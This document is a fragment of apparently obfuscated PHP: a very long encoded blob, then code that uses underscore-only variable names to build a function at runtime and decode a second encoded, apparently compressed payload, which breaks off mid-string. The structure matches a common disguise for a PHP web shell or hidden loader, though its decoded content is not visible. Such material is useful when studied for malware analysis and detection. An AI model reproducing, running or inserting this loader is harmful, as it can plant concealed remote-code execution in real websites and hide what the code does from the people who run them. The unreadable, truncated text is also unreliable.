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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtfVlzq0jW4HtFfP+hHjri9hc10wXIunUVFfVgZEBgWbZALOKlQ4ANMghRliwJ/fo5J5NNYpF8a5mZ/ky129cSJJknz77ljz/S6x//huu3L8nbMt6+fPmV/Jldv33x1vHr+n8vkuRndx1v39ZR9Py2+fn+OXpfvPmLfyVB8uMwWmw2//rXv778+kM24o//9cPnf/9z/vsBUebHP/H6rfbJF4sdbOYmu7Ql4bcv5KMS2666MrT+7cfP6/P6vD6v/8zri7syGM9S3mXJ4Obmfq2IgxcrDX+hTBO4JmXX//4E1ef1eX1en9fn9Xl9Xp/X5/V5/f92fbozPq/P6/P6vP5zry/OYvP89ebf3rO79p6//PoJkc/r8/q8Pq/P6/P6Q9dprsPddD0ZLr/9Dr/9e5+5l4drX11FG1vjE2cV+vOVGC9M8V2W1MBdhV+r9816fOREE0W9JX/DOLe/y+IkcXtq5JDn7Z27YgOXC31bMo5zjT96GM+2ZN+TjHQeG2/wGevEKrtI+a1tssECPzNv6P3TyriCuHek6G1uTRKci7Pkj04PxuB0f84Nwny+thSlC/OQuCkP71FCuB/mvcX7NwtrEjkxPC9409mQNx/21fGDAOZwt7B4Zq7dpg93t315yPgPr7eHicbfORy7XJj9SBaVyOUGrLuaRLIQvcNaE29kMAtz8C4Pg7U3UvePy287Z2RsYX3vNrfdOZbxvrAAfmn/3bamu3u6Ll+TxDdZAHiN1EC+k/cPs7k/Ju+WGVnkI5g361gAHwngL6jwXsFXpSjGsZwhr8P6lp65DfL3usf1bswN9rbZD21Y93gVhfcnMIR9WXkIixxWCKNkweH+Rl8X5s1GHk2iOSemsC+xuxKZhfWwkaVt5EpiiPsHuLCH33sP9ugZ8MIm+9YHOPOBJxE4H+cAf2clvhNcWfLwnZLII1yPiPAIvCG/8cw+wjubB77fThxJh38P3gBHYJ9UgjeIJzC/xBveruWwggMA+4UmJ+NhgT8h7B284xAsegSH6JoBtk7MB7KkwPxEmBuuEWCJeAn3yRLZ9woO9mO7Z7zPTVzL3ndM4x3WuSGwkViEHws0saY4OMAxWfq5ingPuKewLhfh+zfZ+mEdIr6ThXvwHfu5Cfs9mvQBLggLugc9g3n0q3QEtGUCrq0iZm4GLNLEAvFFyvBFUoEORGZuPVD4jRrut5Ik32t4NvXIvdER3sfQ9cHemIfAyfDR5RCPxT3MLQA4v+MYc8A1T+OXc9NL8G9XMt49+A72nXelA+LOcaHxCrwDcFQJyB6nBZ705wDPDG5rwBEW6LICM2+9wPevvMp+NazD7CfkfgnxxwvcJf9mWyriCPnewTWZfZxHbU5VfqULhjbV+yONEXVZOBizUBwDHj1qGi9oxkRUhYiH7x7loTJTdYVXGVGZ6eLjFMZVBfHR1IUl4JsOY0zhs/upziowxiPwJvx7auiAI4LCa/rGN+BdOgvvM6Y+jGHA/x4zfNBVQ5lphsIbwxuc06OhHxQd4GkIogH7Ls50Y4TzBJ7Ea8CTNAPeqfEzeB8P/FWEOT7AnHVNV/H7IYyHcwIMMx7VFOZlePx0ScabycL2YapHE5j